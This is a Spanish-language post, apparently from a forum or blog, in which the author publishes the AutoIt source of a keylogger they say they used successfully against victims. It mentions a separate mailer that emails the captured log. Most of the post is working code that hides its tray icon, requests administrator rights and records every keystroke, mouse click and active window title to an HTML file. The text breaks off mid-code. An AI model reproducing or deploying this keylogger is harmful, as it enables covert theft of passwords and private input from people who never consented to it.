Check the new version here

Popular channels

(AutoIt) Creando un Virus en AutoIt - Keylogger

Hoy, aburrido un finde, voy a hacer público el source de uno de mis keylogger que más frutos me dió.En su época dorada solo el AV de un colega (Jiangmin) lo detectaba como PUP (potentially unwanted program).Hoy, Avast lo llama "AutoIt:KeyLogger-L" y la versión repackeada... ni la reconoce.Pero los AV mas importantes lo llaman Trojan.Generic.13139665 (seudónimos en link)
Este virus es en realidad, un virus compuesto por varios archivos. Lo que lo convierte en malware.
log.html solo es el archivo que almacena la informacion.
Mailer.exe es el programita encargado de enviar un e-mail con datos únicos de la PC victima y un attachment del archivo log.html (el cual aún no va a ser público, dado que no es detectado y bypassea firewalls).
keylogger.exe... es lo que se hace "abierto" dado que los AV le quitaron la gracia.

El propósito del post? Mostrar como con un par de lineas de codigo en script (si... 600+ lineas son pocas lineas) se puede causar MUCHO daño. Siempre piensen 2 veces antes de descargar algo directo de alguien.Comenzamos con lo básicoeclaramos variables y prearmamos el archivo log. Previamente eliminamos el ícono de la barra de tareas y solicitamos al sistema derechos de administrador (en caso de que el usuario SEA administrador, no le sale advertencia alguna y el virus obtiene privilegios absolutos. [color=#000000]
#NoTrayIcon
#RequireAdmin
Local $date = @YEAR & "-" & @MON & "-" & @MDAY
Local $user32 = DllOpen("user32"), $log
Local $window2 = ""
Local $CAPSLOCKTOGGLE
Local $log = "log.html"
HotKeySet( "^{F9}", "Terminate")
OnAutoItExitRegister ("Terminate")
If FileExists($log) = 1 Then
FileDelete( $log )
EndIf
FileWrite($log,"")
FileOpen($log, 1)
Sleep(100)
FileWrite($log, "<font face=Verdana size=1>")
FileWrite($log, "<b><center>[#[ Inicio del log ]#]    </center></b><br>")
FileWrite($log, "<b><center>[#[ Historial : ]#]    </center></b><br>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{EN} = Enter<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{BS} = BackSpace<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{LMS} = Click Izquierdo<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{RMS} = Click Derecho<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{MMS} = Click Medio<br></font></center>")
FileWrite($log, "<br>")
FileWrite($log, "<b><center>[#[ Log : ]#]    </center></b><br>")
[/color]
El virus completo se basa en 1 sola función. Así que la armamos y agregamos: [color=#000000]
Func _LoggearTecla($loggueo)
$window = WinGetTitle("")
If $window = $window2 Then
FileWrite($log, $loggueo)
Else
$window2 = $window
FileWrite($log, "<br><BR>" & "<b>[" & @YEAR & "." & @MON & "." & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC & '] Window : "' & $window & '"</b><br>' & $loggueo)
EndIf
EndFunc
[/color]
Es bastante obvio, guarda el titulo de ventana y tecla presionada en el archivo $log.Luego, viene la parte engorrosa... Recibir cada tecla pesionada posible con la funcion _isPressed [color=#000000]
Func _IsPressed($hexKey)
Local $aR, $bRv
$hexKey = '0x' & $hexKey
$aR = DllCall($user32, "int", "GetAsyncKeyState", "int", $hexKey)
If $aR[0] <> 0 Then
$bRv = 1
Else
$bRv = 0
EndIf
Return $bRv
EndFunc
[/color]
El uso es esto: [color=#000000]
If _IsPressed ('2E') = 1 Then
_LoggearTecla('.')
While _IsPressed ('2E') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('3F') = 1 Then
_LoggearTecla("?")
While _IsPressed ('3F') = 1
Sleep(1)
WEnd
...
[/color]
Pero repetido, muchas, muchas veces!!! (incluyendo teclas "shift")Preparen la ruedita en modo turbo!!! [color=#000000]
While 1
For $n = 30 To 39
If _IsPressed ($n) Then
If ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('=')
ElseIf ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('0')
ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('!')
ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('1')
ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('"')
ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('2')
ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('#')
ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla( '3')
ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('$')
ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('4')
ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('%')
ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla( '5')
ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('&')
ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('6')
ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('/')
ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('7')
ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('(')
ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('8')
ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla(')')
ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('9')
EndIf
While _IsPressed ($n) = 1
Sleep(1)
WEnd
EndIf
Next
If _IsPressed ('2E') = 1 Then
_LoggearTecla('.')
While _IsPressed ('2E') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('3F') = 1 Then
_LoggearTecla("?")
While _IsPressed ('3F') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('B4') = 1 Then
_LoggearTecla("´")
While _IsPressed ('B4') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2A') = 1 Then
_LoggearTecla("*")
While _IsPressed ('2A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2B') = 1 Then
_LoggearTecla("+")
While _IsPressed ('2B') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('27') = 1 Then
_LoggearTecla("'")
While _IsPressed ('27') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('41') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("a")
Else
_LoggearTecla("A")
EndIf
While _IsPressed ('41') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('42') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("b")
Else
_LoggearTecla("B")
EndIf
While _IsPressed ('42') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('43') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("c")
Else
_LoggearTecla("C")
EndIf
While _IsPressed ('43') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('44') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("d")
Else
_LoggearTecla("D")
EndIf
While _IsPressed ('44') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('45') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("e")
Else
_LoggearTecla("E")
EndIf
While _IsPressed ('45') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('46') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("f")
Else
_LoggearTecla("F")
EndIf
While _IsPressed ('46') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('47') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("g")
Else
_LoggearTecla("G")
EndIf
While _IsPressed ('47') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('48') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("h")
Else
_LoggearTecla("H")
EndIf
While _IsPressed ('48') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('49') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("i")
Else
_LoggearTecla("I")
EndIf
While _IsPressed ('49') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4A') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("j")
Else
_LoggearTecla("J")
EndIf
While _IsPressed ('4A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4B') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("k")
Else
_LoggearTecla("K")
EndIf
While _IsPressed ('4B') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4C') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("l")
Else
_LoggearTecla("L")
EndIf
While _IsPressed ('4C') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4D') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("m")
Else
_LoggearTecla("M")
EndIf
While _IsPressed ('4D') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4E') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("n")
Else
_LoggearTecla("N")
EndIf
While _IsPressed ('4E') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4F') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("o")
Else
_LoggearTecla("O")
EndIf
While _IsPressed ('4F') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('50') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("p")
Else
_LoggearTecla("P")
EndIf
While _IsPressed ('50') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('51') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("q")
Else
_LoggearTecla("Q")
EndIf
While _IsPressed ('51') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('52') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("r")
Else
_LoggearTecla("R")
EndIf
While _IsPressed ('52') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('53') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("s")
Else
_LoggearTecla("S")
EndIf
While _IsPressed ('53') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('54') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("t")
Else
_LoggearTecla("T")
EndIf
While _IsPressed ('54') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('55') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("u")
Else
_LoggearTecla("U")
EndIf
While _IsPressed ('55') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('56') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("v")
Else
_LoggearTecla("V")
EndIf
While _IsPressed ('56') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('57') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("w")
Else
_LoggearTecla("W")
EndIf
While _IsPressed ('57') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('58') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("x")
Else
_LoggearTecla("X")
EndIf
While _IsPressed ('58') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('59') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("y")
Else
_LoggearTecla("Y")
EndIf
While _IsPressed ('59') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('5A') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("z")
Else
_LoggearTecla("Z")
EndIf
While _IsPressed ('5A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('20') = 1 Then
_LoggearTecla(" ")
While _IsPressed ('20') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('01') = 1 Then

_LoggearTecla("<font color=#008000 style=font-size:9px><i>{LMS}</i></font>")
While _IsPressed ("01") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('02') = 1 Then

_LoggearTecla("<font color=#008000 style=font-size:9px><i>{RMS}</i></font>")
While _IsPressed ("02") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('04') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{MMS}</i></font>")
While _IsPressed ("04") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('08') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{BS}</i></font>")

While _IsPressed ("08") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('09') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{TAB}</i></font>")
While _IsPressed ("09") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('0d') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{EN}</i></font><br>")
While _IsPressed ("0d") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('10') Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{SHIFT}</i></font>")
While _IsPressed ("10") = 1
For $n = 30 To 39
If _IsPressed ($n) Then
If StringRight($n, 1) = 0 Then
_LoggearTecla('=')
ElseIf StringRight($n, 1) = 1 Then
_LoggearTecla('!')
ElseIf StringRight($n, 1) = 2 Then
_LoggearTecla('"')
ElseIf StringRight($n, 1) = 3 Then
_LoggearTecla('#')
ElseIf StringRight($n, 1) = 4 Then
_LoggearTecla('$')
ElseIf StringRight($n, 1) = 5 Then
_LoggearTecla('%')
ElseIf StringRight($n, 1) = 6 Then
_LoggearTecla('&')
ElseIf StringRight($n, 1) = 7 Then
_LoggearTecla('/')
ElseIf StringRight($n, 1) = 8 Then
_LoggearTecla('(')
ElseIf StringRight($n, 1) = 9 Then
_LoggearTecla(')')
EndIf
While _IsPressed ($n) = 1
Sleep(1)
WEnd
EndIf
Next
If _IsPressed ('41') = 1 Then _LoggearTecla("A")
While _IsPressed ('41') = 1
Sleep(1)
WEnd
If _IsPressed ('42') = 1 Then _LoggearTecla("B")
While _IsPressed ('42') = 1
Sleep(1)
WEnd
If _IsPressed ('43') = 1 Then _LoggearTecla("C")
While _IsPressed ('43') = 1
Sleep(1)
WEnd
If _IsPressed ('44') = 1 Then _LoggearTecla("D")
While _IsPressed ('44') = 1
Sleep(1)
WEnd
If _IsPressed ('45') = 1 Then _LoggearTecla("E")
While _IsPressed ('45') = 1
Sleep(1)
WEnd
If _IsPressed ('46') = 1 Then _LoggearTecla("F")
While _IsPressed ('46') = 1
Sleep(1)
WEnd
If _IsPressed ('47') = 1 Then _LoggearTecla("G")
While _IsPressed ('47') = 1
Sleep(1)
WEnd
If _IsPressed ('48') = 1 Then _LoggearTecla("H")
While _IsPressed ('48') = 1
Sleep(1)
WEnd
If _IsPressed ('49') = 1 Then _LoggearTecla("I")
While _IsPressed ('49') = 1
Sleep(1)
WEnd
If _IsPressed ('4A') = 1 Then _LoggearTecla("J")
While _IsPressed ('4A') = 1
Sleep(1)
WEnd
If _IsPressed ('4B') = 1 Then _LoggearTecla("K")
While _IsPressed ('4B') = 1
Sleep(1)
WEnd
If _IsPressed ('4C') = 1 Then _LoggearTecla("L")
While _IsPressed ('4C') = 1
Sleep(1)
WEnd
If _IsPressed ('4D') = 1 Then _LoggearTecla("M")
While _IsPressed ('4D') = 1
Sleep(1)
WEnd
If _IsPressed ('4E') = 1 Then _LoggearTecla("N")
While _IsPressed ('4E') = 1
Sleep(1)
WEnd
If _IsPressed ('4F') = 1 Then _LoggearTecla("O")
While _IsPressed ('4F') = 1
Sleep(1)
WEnd
If _IsPressed ('50') = 1 Then _LoggearTecla("P")
While _IsPressed ('50') = 1
Sleep(1)
WEnd
If _IsPressed ('51') = 1 Then _LoggearTecla("Q")
While _IsPressed ('51') = 1
Sleep(1)
WEnd
If _IsPressed ('52') = 1 Then _LoggearTecla("R")
While _IsPressed ('52') = 1
Sleep(1)
WEnd
If _IsPressed ('53') = 1 Then _LoggearTecla("S")
While _IsPressed ('53') = 1
Sleep(1)
WEnd
If _IsPressed ('54') = 1 Then _LoggearTecla("T")
While _IsPressed ('54') = 1
Sleep(1)
WEnd
If _IsPressed ('55') = 1 Then _LoggearTecla("U")
While _IsPressed ('55') = 1
Sleep(1)
WEnd
If _IsPressed ('56') = 1 Then _LoggearTecla("V")
While _IsPressed ('56') = 1
Sleep(1)
WEnd
If _IsPressed ('57') = 1 Then _LoggearTecla("W")
While _IsPressed ('57') = 1
Sleep(1)
WEnd
If _IsPressed ('58') = 1 Then _LoggearTecla("X")
While _IsPressed ('58') = 1
Sleep(1)
WEnd
If _IsPressed ('59') = 1 Then _LoggearTecla("Y")
While _IsPressed ('59') = 1
Sleep(1)
WEnd
If _IsPressed ('5A') = 1 Then _LoggearTecla("Z")
While _IsPressed ('5A') = 1
Sleep(1)
WEnd
WEnd
ElseIf _IsPressed ('11') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{CTRL}</i></font>")
While _IsPressed ("11") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('12') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{ALT}</i></font>")
While _IsPressed ("12") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('13') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{PAUSE}</i></font>")
While _IsPressed ("13") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('14') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{CAPSLOCK}</i></font>")
If $CAPSLOCKTOGGLE = 1 Then
$CAPSLOCKTOGGLE = 0
ElseIf $CAPSLOCKTOGGLE = 0 Then
$CAPSLOCKTOGGLE = 1
EndIf
While _IsPressed ("14") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('1b') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{ESC}</i></font>")
While _IsPressed ("1b") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('21') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{PGUP}</i></font>")
While _IsPressed ("21") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('22') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{PG_DOWN}</i></font>")
While _IsPressed ("22") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('23') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{END}</i></font>")
While _IsPressed ("23") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('24') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{HOME}</i></font>")
While _IsPressed ("24") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('25') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{LEFT ARROW}</i></font>")
While _IsPressed ("25") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('26') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{UP ARROW}</i></font>")
While _IsPressed ("26") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('27') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{RIGHT ARROW}</i></font>")
While _IsPressed ("27") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('28') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{DOWN ARROW}</i></font>")
While _IsPressed ("28") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2c') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{PRINT}</i></font>")
While _IsPressed ("2c") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2d') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{INSERT}</i></font>")
While _IsPressed ("2d") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2e') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{DEL}</i></font>")
While _IsPressed ("2e") = 1
Sleep(1)
WEnd
EndIf
WEnd
[/color]
Agregamos la funcion de cierre y obtenemos el fruto de los cientos de lineas! [color=#000000]
#NoTrayIcon
#RequireAdmin
Local $date = @YEAR & "-" & @MON & "-" & @MDAY
Local $user32 = DllOpen("user32"), $log
Local $window2 = ""
Local $CAPSLOCKTOGGLE
Local $log = "log.html"
HotKeySet( "^{F9}", "Terminate")
OnAutoItExitRegister ("Terminate")
If FileExists($log) = 1 Then
FileDelete( $log )
EndIf
FileWrite($log,"")
FileOpen($log, 1)
Sleep(100)
FileWrite($log, "<font face=Verdana size=1>")
FileWrite($log, "<b><center>[#[ Inicio del Log ]#]    </center></b><br>")
FileWrite($log, "<b><center>[#[ Historial : ]#]    </center></b><br>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{EN} = Enter<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{BS} = BackSpace<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{LMS} = Click Izquierdo<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{RMS} = Click Derecho<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{MMS} = Click Medio<br></font></center>")
FileWrite($log, "<br>")
FileWrite($log, "<b><center>[#[ Log : ]#]    </center></b><br>")


While 1
For $n = 30 To 39
If _IsPressed ($n) Then
If ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('=')
ElseIf ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('0')
ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('!')
ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('1')
ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('"')
ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('2')
ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('#')
ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla( '3')
ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('$')
ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('4')
ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('%')
ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla( '5')
ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('&')
ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('6')
ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('/')
ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('7')
ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('(')
ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('8')
ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla(')')
ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('9')
EndIf
While _IsPressed ($n) = 1
Sleep(1)
WEnd
EndIf
Next
If _IsPressed ('2E') = 1 Then
_LoggearTecla('.')
While _IsPressed ('2E') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('3F') = 1 Then
_LoggearTecla("?")
While _IsPressed ('3F') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('B4') = 1 Then
_LoggearTecla("´")
While _IsPressed ('B4') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2A') = 1 Then
_LoggearTecla("*")
While _IsPressed ('2A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2B') = 1 Then
_LoggearTecla("+")
While _IsPressed ('2B') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('27') = 1 Then
_LoggearTecla("'")
While _IsPressed ('27') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('41') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("a")
Else
_LoggearTecla("A")
EndIf
While _IsPressed ('41') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('42') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("b")
Else
_LoggearTecla("B")
EndIf
While _IsPressed ('42') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('43') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("c")
Else
_LoggearTecla("C")
EndIf
While _IsPressed ('43') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('44') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("d")
Else
_LoggearTecla("D")
EndIf
While _IsPressed ('44') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('45') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("e")
Else
_LoggearTecla("E")
EndIf
While _IsPressed ('45') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('46') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("f")
Else
_LoggearTecla("F")
EndIf
While _IsPressed ('46') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('47') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("g")
Else
_LoggearTecla("G")
EndIf
While _IsPressed ('47') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('48') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("h")
Else
_LoggearTecla("H")
EndIf
While _IsPressed ('48') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('49') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("i")
Else
_LoggearTecla("I")
EndIf
While _IsPressed ('49') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4A') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("j")
Else
_LoggearTecla("J")
EndIf
While _IsPressed ('4A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4B') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("k")
Else
_LoggearTecla("K")
EndIf
While _IsPressed ('4B') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4C') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("l")
Else
_LoggearTecla("L")
EndIf
While _IsPressed ('4C') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4D') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("m")
Else
_LoggearTecla("M")
EndIf
While _IsPressed ('4D') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4E') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("n")
Else
_LoggearTecla("N")
EndIf
While _IsPressed ('4E') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4F') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("o")
Else
_LoggearTecla("O")
EndIf
While _IsPressed ('4F') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('50') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("p")
Else
_LoggearTecla("P")
EndIf
While _IsPressed ('50') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('51') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("q")
Else
_LoggearTecla("Q")
EndIf
While _IsPressed ('51') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('52') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("r")
Else
_LoggearTecla("R")
EndIf
While _IsPressed ('52') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('53') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("s")
Else
_LoggearTecla("S")
EndIf
While _IsPressed ('53') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('54') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("t")
Else
_LoggearTecla("T")
EndIf
While _IsPressed ('54') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('55') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("u")
Else
_LoggearTecla("U")
EndIf
While _IsPressed ('55') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('56') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("v")
Else
_LoggearTecla("V")
EndIf
While _IsPressed ('56') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('57') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
